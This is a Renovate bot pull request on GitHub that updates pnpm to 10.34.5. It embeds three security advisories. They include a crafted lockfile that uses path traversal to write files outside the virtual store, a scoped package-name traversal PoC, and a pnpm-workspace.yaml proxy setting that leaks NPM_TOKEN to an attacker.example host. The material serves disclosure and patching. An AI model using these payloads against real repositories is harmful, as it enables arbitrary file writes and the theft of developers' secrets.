Skip to content

chore(deps): update pnpm to v10.34.5 [security] - #61

Open
renovate[bot] wants to merge 2 commits into
mainfrom
renovate/npm-pnpm-vulnerability
Open

renovate[bot] wants to merge 2 commits into
mainfrom
renovate/npm-pnpm-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Sep 1, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
pnpm (source) 10.34.410.34.5 age confidence

pnpm: Virtual store linker path traversal via unvalidated depPath name in lockfileToDepGraph

CVE-2026-82392 / GHSA-c59q-g84q-2gj5

More information

Details

Summary

The virtual store linker constructs package installation directories using path.join(modules, pkgName) where pkgName is extracted from lockfile packages keys via dp.parse(depPath).name without validation. A crafted pnpm-lock.yaml with traversal sequences in depPath keys (e.g., ../../../tmp/pwned@1.0.0) causes package content to be written to arbitrary filesystem paths during pnpm install.

This is an incomplete fix of GHSA-fr4h-3cph-29xv — the safeJoinModulesDir containment helper was applied to the hoisted linker and symlinkDependency but NOT to the virtual store linker's lockfileToDepGraph.ts:233.

Details
Root Cause

dp.parse() at pnpm11/deps/path/src/index.ts:135 extracts the package name as:

const name = dependencyPath.substring(0, sepIndex)

This is a raw substring operation with zero validation that name is a valid npm package name. A depPath of ../../../tmp/pwned@1.0.0 yields name = '../../../tmp/pwned'.

Vulnerable Code Path
  1. pnpm-lock.yamllockfile.packages['../../../../../../../tmp/pwned@1.0.0'] (attacker-controlled lockfile key)
  2. nameVerFromPkgSnapshot(depPath, pkgSnapshot) at lockfile/utils/src/nameVerFromPkgSnapshot.ts:16 → calls dp.parse(depPath) → returns { name: '../../../../../../../tmp/pwned' }
  3. lockfileToDepGraph.ts:232modules = path.join(dirInVirtualStore, 'node_modules')
  4. lockfileToDepGraph.ts:233dir = path.join(modules, pkgName) → resolves to /tmp/pwned (ESCAPES virtual store)
  5. storeController.importPackage(depNode.dir, ...) → writes package content to the traversed path
Why Existing Defenses Don't Catch It
  • depPathToFilename() — replaces / with + for the dirInVirtualStore path, but pkgName comes SEPARATELY from dp.parse() and is NOT passed through this function
  • verifyLockfileResolutions() — validates dependency map keys (aliases) via isValidDependencyAlias(), but never validates the depPath keys themselves
  • Lockfile parseryaml.load(lockfileRawContent) with no schema validation on packages keys
  • importPackage() — accepts targetDir and passes it directly to cafsStore.importPackage(targetDir, ...) with zero containment check
  • Integrity verification — requires a real fetchable package but does not validate the destination path
Escalation to RCE (non-default config)

When dangerouslyAllowAllBuilds: true is configured (or the traversal package name is in the explicit allowBuilds list), the same traversed path is used in the rebuild phase at after-install/src/index.ts:402,470. The attacker's postinstall script then executes with the victim's shell access. Under default config, allowBuild returns false for unknown packages, limiting impact to arbitrary file write.

Also Affected (PnP linker)

When nodeLinker: pnp is configured, lockfileToPackageRegistry() at lockfile/to-pnp/src/index.ts:105-110 uses the same unvalidated dp.parse().name in packageLocation construction, allowing the .pnp.cjs resolver map to point outside the virtual store. This is a lower-impact variant (PnP is not the default linker).

Impact

An attacker who can commit a crafted pnpm-lock.yaml to a repository (or supply one via a malicious package) can cause arbitrary file writes on the machine of any user who runs pnpm install. Written content is the actual package files from a real npm package (attacker controls which package and which destination).

Targets for arbitrary file write include:

  • .git/hooks/pre-commit — code execution on next git operation
  • ~/.local/bin/ — binary hijacking
  • Project source files — supply chain injection
Reproduction

Craft a pnpm-lock.yaml:

lockfileVersion: '9.0'
packages:
  ../../../../../../../tmp/pwned@1.0.0:
    resolution: {integrity: sha512-<real-package-integrity>}
    engines: {node: '>=14'}
snapshots:
  ../../../../../../../tmp/pwned@1.0.0: {}
importers:
  .:
    dependencies:
      legitimate-name:
        specifier: ^1.0.0
        version: ../../../../../../../tmp/pwned@1.0.0

Run pnpm install — package content is written to /tmp/pwned/ instead of the virtual store.

Recommended Fix

Apply safeJoinModulesDir (or equivalent validation) at:

  • lockfileToDepGraph.ts:233path.join(modules, pkgName)
  • after-install/src/index.ts:402path.join(pkgModulesDir(depPath), pkgInfo.name)
  • lockfile/to-pnp/src/index.ts:105-110 — PnP packageLocation

Alternatively, validate depPath keys during lockfile parsing to reject any that don't produce valid npm package names via dp.parse().

Relationship to GHSA-fr4h-3cph-29xv

GHSA-fr4h-3cph-29xv fixed the hoisted linker path (lockfileToHoistedDepGraph.ts:222) by adding safeJoinModulesDir. The same fix was NOT applied to the virtual store linker, which uses the identical dp.parse().name → path.join() pattern at lockfileToDepGraph.ts:233.

Severity

  • CVSS Score: 7.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


pnpm: A tarball dependency's manifest name escapes node_modules → arbitrary file write/overwrite on install

CVE-2026-82393 / GHSA-vq4v-j7r6-jq4m

More information

Details

Summary

When resolving a package, pnpm uses the resolved manifest name as a raw path segment for the isolated-linker import target. A tarball dependency whose package.json name is a scoped path traversal (@x/../../…/<abs path>) is therefore extracted outside node_modules, to an attacker-chosen absolute path, and can overwrite existing files there. Attacker controls the destination, filenames, and contents → arbitrary file write → code execution (e.g. ~/.zshrc, .git/hooks/pre-commit, another package's code). Occurs during pnpm install even with --ignore-scripts (no lifecycle scripts run), defeating that safety.

Same class as the just-patched GHSA-hwx4 (transitive-dependency alias traversal) and GHSA-v23m (stage download manifest name/version traversal), in a sink their fixes did not cover: the isolated-linker import target keyed by the resolved name.

Root cause
  • The isolated-linker import target is built with a raw path.join(modules, <resolved name>) in installing/deps-resolver/src/resolvePeers.ts:706, installing/deps-resolver/src/index.ts:614, and deps/graph-builder/src/lockfileToDepGraph.ts:233without the safeJoinModulesDir guard used on the symlink/hoisted/bin paths (installing/deps-restorer/src/lockfileToHoistedDepGraph.ts:222). The store location is node_modules/.pnpm/<id>/node_modules/<name>, so a traversal <name> escapes.
  • The only resolve-time name gate (resolving/npm-resolver/src/pickPackage.ts:753) rejects only unscoped names containing /, so a scoped @x/../.. passes.
Steps to reproduce

Self-contained PoC (real pnpm@11.9.0; loopback tarball server; escape target is a throwaway temp dir):

npm i pnpm@11.9.0

##### host a tarball whose package.json name = "@x/"+"../".repeat(25)+"<abs>/OUTSIDE"; victim depends on the http URL
pnpm install --ignore-scripts

Confirmed output (repro/poc.mjs, exit 0):

escape dir is outside the project        : true
new file implanted outside node_modules  : true
pre-existing file OVERWRITTEN            : true
*** CONFIRMED: a tarball dependency wrote & overwrote files OUTSIDE the project during `pnpm install --ignore-scripts` ***
Remediation

Route the isolated-linker import-target joins (resolvePeers.ts:706, deps-resolver/index.ts:614, lockfileToDepGraph.ts:233) through safeJoinModulesDir (as the hoisted linker already does), and/or enforce validate-npm-package-name on the resolved manifest name (close the scoped-name gap at pickPackage.ts:753) so the import target rejects a traversal name and re-asserts containment before any write.

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


pnpm: Environment secrets exfiltrated via env-placeholder expansion in proxy settings read from an untrusted pnpm-workspace.yaml

GHSA-vx52-2968-3vc6

More information

Details

Summary

pnpm expands ${VAR} environment placeholders in the httpProxy / httpsProxy / noProxy settings read from a project's pnpm-workspace.yaml. Because a project manifest is repository-controlled, a malicious repository that a victim merely clones and runs pnpm install in can route all install traffic through an attacker proxy whose hostname or userinfo embeds — and thereby exfiltrates — an environment secret such as NPM_TOKEN or GITHUB_TOKEN.

This bypasses a trust boundary pnpm deliberately enforces: env-placeholder expansion of request-destination settings is already suppressed for registry, pnprServer, registries and namedRegistries when they come from an untrusted project manifest, and the sibling .npmrc reader already classifies the proxy keys as request destinations. The manifest-side guard set simply omitted them.

Impact

An attacker who controls only the contents of a repository's pnpm-workspace.yaml — a public repo, a fork, or a supply-chain pull request — can read many values out of the victim's process environment and have them delivered to an attacker-controlled host. No pre-existing access to the victim's store, global config, lockfile, node_modules, or environment is required. The secret is exfiltrated during config loading, before any lifecycle script runs.

This turns "I can author a project manifest" into "I read the victim's environment secrets."

Affected versions

Introduced in pnpm 10.7.0, which added environment-variable expansion in setting names and values.

  • pnpm 11.x: >= 11.0.0, < 11.11.0
  • pnpm 10.x: >= 10.7.0, < 10.34.5

The Rust port (pacquet) and the registry server (pnpr) are not affected.

Patches
  • pnpm 11.11.0 and later
  • pnpm 10.34.5 and later

The fix adds httpProxy, httpsProxy, noProxy, proxy and noproxy to the request-destination key set in @pnpm/config.reader (src/getOptionsFromRootManifest.ts), so env placeholders in proxy settings from an untrusted manifest are dropped rather than expanded — matching the existing registry / pnprServer handling and the .npmrc reader's isRequestDestinationValueKey. Regression tests cover the proxy keys.

Workarounds

Upgrade to a patched version. Until then, do not run pnpm commands in an untrusted repository in an environment that holds secrets, or inspect the repository's pnpm-workspace.yaml for proxy settings before installing.

Proof of concept
##### pnpm-workspace.yaml in an untrusted repository
packages:
  - .
httpsProxy: "http://${NPM_TOKEN}.collector.attacker.example.com:8080"

With NPM_TOKEN set in the victim's environment, pnpm install expands the placeholder and routes install traffic through the attacker's host, whose hostname (and DNS query) carries the token.

Unit level:

process.env.PNPM_TEST_TOKEN = 'secret'
const o = getOptionsFromPnpmSettings(process.cwd(), { httpsProxy: 'http://${PNPM_TEST_TOKEN}.evil/' })
// Vulnerable: o.httpsProxy === 'http://secret.evil/'
// Patched:    o.httpsProxy === undefined

Using registry or pnprServer in place of httpsProxy does not leak on either version — those keys were already guarded, which is what made the proxy keys a hole in an existing boundary rather than an unguarded surface.

Credit

Reported privately. A second finding in the original report — the Authorization header being retained across a same-host https -> http redirect — was assessed and is not treated as a pnpm vulnerability: npm (make-fetch-happen, minipass-fetch), Yarn (got) and reqwest all compare host rather than origin, and a registry that redirects from HTTPS to plaintext HTTP is itself the broken component. That behavior is being discussed publicly at https://github.com/orgs/pnpm/discussions/13598.

Severity

  • CVSS Score: 7.4 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Release Notes

pnpm/pnpm (pnpm)

v10.34.5: pnpm 10.34.5

Compare Source

Patch Changes

  • 78e29fe: Prevent a crafted pnpm-lock.yaml from writing package content outside the virtual store. A dependency path key whose name reconstructs to a path-traversal sequence (e.g. ../../../tmp/x@1.0.0) is now rejected by the isolated (virtual-store) linker and the Plug'n'Play resolver map, matching the containment already applied to the hoisted linker. Under the global virtual store, a traversal in the version-derived path segment (e.g. a snapshot version: "../../x") is now rejected at iterateHashedGraphNodes, the single point every global-virtual-store slot path funnels through.
  • 78e29fe: Fixed a path traversal vulnerability where a dependency whose manifest name was a scoped path traversal (e.g. @x/../../../<path>) could be written outside node_modules to an attacker-controlled location during pnpm install, even with --ignore-scripts. The isolated linker now validates the package name before using it as a directory name, matching the existing protection in the hoisted linker.
  • 47ef6f0: Fixed switching to and self-updating to pnpm v12. pnpm v12 (the Rust port) ships as the pnpm and @pnpm/exe npm packages whose bins are placeholders replaced at install time by the host's native binary from a @pnpm/exe.<platform>-<arch>[-musl] optional dependency. Because pnpm installs its own engine with --ignore-scripts, that relinking never ran, leaving a non-executable placeholder. pnpm now relinks the native binary itself for v12 (recognizing the new platform-package naming scheme and the native pnpm package), and verifies the native binary's npm registry signature before running it.
  • 36928be: ${...} environment-variable placeholders in the httpProxy, httpsProxy, noProxy, proxy, and noproxy settings are no longer expanded when these settings come from a project's pnpm-workspace.yaml. They now receive the same protection already applied to registry.

Platinum Sponsors

Bit

Gold Sponsors

Sanity Discord Vite
SerpApi CodeRabbit Stackblitz
Workleap Nx

Configuration

📅 Schedule: (in timezone Asia/Kolkata)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • Between 09:00 PM and 10:59 PM, only on Sunday, Monday, Wednesday, and Friday (* 21-22 * * 0,1,3,5)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@codecov

codecov Bot commented Sep 1, 2026

Copy link
Copy Markdown

Codecov Report

✅ All modified and coverable lines are covered by tests.

📢 Thoughts on this report? Let us know!

@renovate
renovate Bot force-pushed the renovate/npm-pnpm-vulnerability branch 4 times, most recently from 78a0915 to ed0c930 Compare September 9, 2026 19:53
@coderabbitai

coderabbitai Bot commented Sep 9, 2026

Copy link
Copy Markdown

Important

Review skipped

Bot user detected.

To trigger a single review, invoke the @coderabbitai review command.

⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Advanced

Run ID: bd874d12-c6a9-4ad1-ac7f-0b77a9aff830

You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.

Use the checkbox below for a quick retry:

  • 🔍 Trigger review

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands.

@renovate
renovate Bot force-pushed the renovate/npm-pnpm-vulnerability branch 2 times, most recently from acd5a6f to f3fb550 Compare September 15, 2026 16:46
@renovate renovate Bot changed the title chore(deps): update pnpm to v10.34.5 [security] chore(deps): update pnpm to v10.34.5 [security] - autoclosed Sep 17, 2026
@renovate renovate Bot closed this Sep 17, 2026
@renovate
renovate Bot deleted the renovate/npm-pnpm-vulnerability branch September 17, 2026 19:06
@renovate renovate Bot changed the title chore(deps): update pnpm to v10.34.5 [security] - autoclosed chore(deps): update pnpm to v10.34.5 [security] Sep 17, 2026
@renovate renovate Bot reopened this Sep 17, 2026
@renovate
renovate Bot force-pushed the renovate/npm-pnpm-vulnerability branch 2 times, most recently from 690d655 to 5a7ce77 Compare September 17, 2026 23:58
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants